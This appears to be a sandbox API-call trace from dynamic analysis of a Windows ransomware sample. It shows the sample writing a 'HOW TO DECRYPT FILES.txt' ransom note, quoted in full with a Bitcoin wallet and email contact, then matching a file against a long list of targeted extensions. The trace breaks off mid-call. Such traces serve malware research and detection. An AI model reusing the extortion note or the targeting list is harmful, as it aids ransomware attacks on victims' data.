[0104.229] lstrcmpiA (lpString1="", lpString2="PresentationBuildTasks.ni.dll") returned -1 [0104.229] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\*.*") returned="*.*" [0104.229] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\" [0104.229] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\") returned="" [0104.229] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\HOW TO DECRYPT FILES.txt" [0104.229] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationbuildta#\\c0a8f3f379d7a62a032783cc4e04a4dd\\how to decrypt files.txt")) returned 0xffffffff [0104.229] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationbuildta#\\c0a8f3f379d7a62a032783cc4e04a4dd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.230] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.230] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.232] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.232] CloseHandle (hObject=0x90) returned 1 [0104.232] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\", lpString2="PresentationBuildTasks.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll" [0104.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.ems") returned 0 [0104.232] lstrlenA (lpString="*.ems") returned 5 [0104.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.db") returned 0 [0104.232] lstrlenA (lpString="*.db") returned 4 [0104.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.dbf") returned 0 [0104.232] lstrlenA (lpString="*.dbf") returned 5 [0104.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.myox") returned 0 [0104.233] lstrlenA (lpString="*.myox") returned 6 [0104.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.myo") returned 0 [0104.233] lstrlenA (lpString="*.myo") returned 5 [0104.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.qbw") returned 0 [0104.233] lstrlenA (lpString="*.qbw") returned 5 [0104.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.qbb") returned 0 [0104.233] lstrlenA (lpString="*.qbb") returned 5 [0104.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.qbm") returned 0 [0104.233] lstrlenA (lpString="*.qbm") returned 5 [0104.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.qbo") returned 0 [0104.233] lstrlenA (lpString="*.qbo") returned 5 [0104.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.qbx") returned 0 [0104.233] lstrlenA (lpString="*.qbx") returned 5 [0104.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.qba") returned 0 [0104.233] lstrlenA (lpString="*.qba") returned 5 [0104.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.qby") returned 0 [0104.233] lstrlenA (lpString="*.qby") returned 5 [0104.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.qbj") returned 0 [0104.233] lstrlenA (lpString="*.qbj") returned 5 [0104.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.ofx") returned 0 [0104.234] lstrlenA (lpString="*.ofx") returned 5 [0104.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.qif") returned 0 [0104.234] lstrlenA (lpString="*.qif") returned 5 [0104.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.mye") returned 0 [0104.234] lstrlenA (lpString="*.mye") returned 5 [0104.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.mbox") returned 0 [0104.234] lstrlenA (lpString="*.mbox") returned 6 [0104.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.eml") returned 0 [0104.234] lstrlenA (lpString="*.eml") returned 5 [0104.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.pst") returned 0 [0104.234] lstrlenA (lpString="*.pst") returned 5 [0104.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.ost") returned 0 [0104.234] lstrlenA (lpString="*.ost") returned 5 [0104.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.idx") returned 0 [0104.234] lstrlenA (lpString="*.idx") returned 5 [0104.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.dbx") returned 0 [0104.234] lstrlenA (lpString="*.dbx") returned 5 [0104.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.sql") returned 0 [0104.235] lstrlenA (lpString="*.sql") returned 5 [0104.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.mdb") returned 0 [0104.235] lstrlenA (lpString="*.mdb") returned 5 [0104.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.fdb") returned 0 [0104.235] lstrlenA (lpString="*.fdb") returned 5 [0104.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.wab") returned 0 [0104.235] lstrlenA (lpString="*.wab") returned 5 [0104.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.dat") returned 0 [0104.235] lstrlenA (lpString="*.dat") returned 5 [0104.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.txt") returned 0 [0104.235] lstrlenA (lpString="*.txt") returned 5 [0104.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.jpeg") returned 0 [0104.235] lstrlenA (lpString="*.jpeg") returned 6 [0104.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.jpg") returned 0 [0104.235] lstrlenA (lpString="*.jpg") returned 5 [0104.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.png") returned 0 [0104.235] lstrlenA (lpString="*.png") returned 5 [0104.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.php") returned 0 [0104.235] lstrlenA (lpString="*.php") returned 5 [0104.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.cs") returned 0 [0104.235] lstrlenA (lpString="*.cs") returned 4 [0104.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.cpp") returned 0 [0104.236] lstrlenA (lpString="*.cpp") returned 5 [0104.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.rar") returned 0 [0104.236] lstrlenA (lpString="*.rar") returned 5 [0104.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.zip") returned 0 [0104.236] lstrlenA (lpString="*.zip") returned 5 [0104.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.html") returned 0 [0104.236] lstrlenA (lpString="*.html") returned 6 [0104.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.htm") returned 0 [0104.236] lstrlenA (lpString="*.htm") returned 5 [0104.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.xlsx") returned 0 [0104.237] lstrlenA (lpString="*.xlsx") returned 6 [0104.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.xls") returned 0 [0104.237] lstrlenA (lpString="*.xls") returned 5 [0104.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.mp4") returned 0 [0104.237] lstrlenA (lpString="*.mp4") returned 5 [0104.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.ppt") returned 0 [0104.237] lstrlenA (lpString="*.ppt") returned 5 [0104.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.pptx") returned 0 [0104.237] lstrlenA (lpString="*.pptx") returned 6 [0104.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.doc") returned 0 [0104.237] lstrlenA (lpString="*.doc") returned 5 [0104.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.dot") returned 0 [0104.237] lstrlenA (lpString="*.dot") returned 5 [0104.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.docx") returned 0 [0104.237] lstrlenA (lpString="*.docx") returned 6 [0104.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.7z") returned 0 [0104.238] lstrlenA (lpString="*.7z") returned 4 [0104.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.tar") returned 0 [0104.238] lstrlenA (lpString="*.tar") returned 5 [0104.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.bz2") returned 0 [0104.238] lstrlenA (lpString="*.bz2") returned 5 [0104.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.gz") returned 0 [0104.238] lstrlenA (lpString="*.gz") returned 4 [0104.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.mkv") returned 0 [0104.238] lstrlenA (lpString="*.mkv") returned 5 [0104.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.eml") returned 0 [0104.238] lstrlenA (lpString="*.eml") returned 5 [0104.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.msg") returned 0 [0104.238] lstrlenA (lpString="*.msg") returned 5 [0104.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.edb") returned 0 [0104.238] lstrlenA (lpString="*.edb") returned 5 [0104.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.accdb") returned 0 [0104.238] lstrlenA (lpString="*.accdb") returned 7 [0104.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.odb") returned 0 [0104.238] lstrlenA (lpString="*.odb") returned 5 [0104.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.java") returned 0 [0104.239] lstrlenA (lpString="*.java") returned 6 [0104.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.asm") returned 0 [0104.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.pfx") returned 0 [0104.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.pem") returned 0 [0104.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.p12") returned 0 [0104.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.gpg") returned 0 [0104.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.vsd") returned 0 [0104.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.odg") returned 0 [0104.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.raw") returned 0 [0104.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.nef") returned 0 [0104.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.svg") returned 0 [0104.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.psd") returned 0 [0104.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.vmx") returned 0 [0104.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.vmdk") returned 0 [0104.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.vdi") returned 0 [0104.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.lay6") returned 0 [0104.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.mpeg") returned 0 [0104.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.djvu") returned 0 [0104.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.tiff") returned 0 [0104.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.backup") returned 0 [0104.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.pdf") returned 0 [0104.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.cert") returned 0 [0104.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.docm") returned 0 [0104.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.xlsm") returned 0 [0104.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.dwg") returned 0 [0104.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.nd") returned 0 [0104.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.tlg") returned 0 [0104.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.lgb") returned 0 [0104.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.mov") returned 0 [0104.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.xdw") returned 0 [0104.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.ods") returned 0 [0104.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.wav") returned 0 [0104.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.mp3") returned 0 [0104.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationBuildTa#\\c0a8f3f379d7a62a032783cc4e04a4dd\\PresentationBuildTasks.ni.dll", pszSpec="*.aiff") returned 0 [0104.242] PathMatchSpecA 